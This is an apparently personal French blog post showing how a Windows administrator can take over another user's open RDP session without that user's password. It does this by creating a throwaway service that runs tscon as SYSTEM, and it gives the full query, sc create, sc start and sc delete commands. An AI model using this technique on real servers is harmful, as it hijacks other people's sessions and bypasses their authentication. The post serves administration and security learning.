Vol de session RDP

Quand le système à tous les droits, rien ne vas plus…

Vous êtes administrateur d’un serveur (ou vous en avez les droits ;)) et aimeriez récupérer une session RDP déjà ouverte, mal fermé, ou simplement aller voir pourquoi Paintbrush est ouvert sur un serveur ?

rdp_paint

Plusieurs options nous sont ouvertes :

  • Se connecter en RDP sur le serveur et récupérer la session à l’écran d’accueil :

    logon_screen_pwd

    mais il faudra connaître le mot de passe de session pour continuer…

  • Se connecter en RDP avec son compte administrateur (puis tenter une connexion par le gestionnaire de tâches par exemple)

    taskmgr_pwd

    mais il faudra connaître le mot de passe de session pour continuer… (idem via tscon ou le gestionnaire des services Bureau à distance)

  • L’assistance à distance : par défaut, ce n’est pas automatique

    aide_distance

    il fallait régler ces options avant, et elles n’agiront pas sur les sessions courantes :(

Demandons un coup de main au système ?

Le système est notre ami

tscon_service

  1. Récupérons les identifiants de sessions concernés : query session
    C:\Windows\system32>query session
     SESSION           UTILISATEUR              ID  ÉTAT    TYPE        PÉRIPHÉRIQUE
     services                                    0  Déco
     console                                     1  Conn
    >rdp-tcp#1         user1                     2  Actif   rdpwd
     rdp-tcp#0         gentilkiwi                3  Actif   rdpwd
     rdp-tcp                                 65536  Écouter

    rdp-tcp#0 est la session que nous voulons voler, rdp-tcp#1 est notre session ouverte.

  2. Créons rapidement un faux service (qui fera l’affaire) :
    sc create givemerdp binpath= "cmd /k tscon rdp-tcp#0 /dest:rdp-tcp#1" type= own
  3. En le démarrant, le bureau basculera :)
    sc start  givemerdp

    Il peut être supprimé par :

    sc delete givemerdp

Cela peut bien sur être plus propre avec PsExec… (et son argument -s)

Tests que je vous invite à effectuer :

  • Travailler avec des sessions RDP sources inactives ou dont la session Windows n’est pas fermée
  • Travailler avec des sessions RDP cibles pas encore connectés !
  • Utiliser PsExec depuis une invite externe (sans RDP)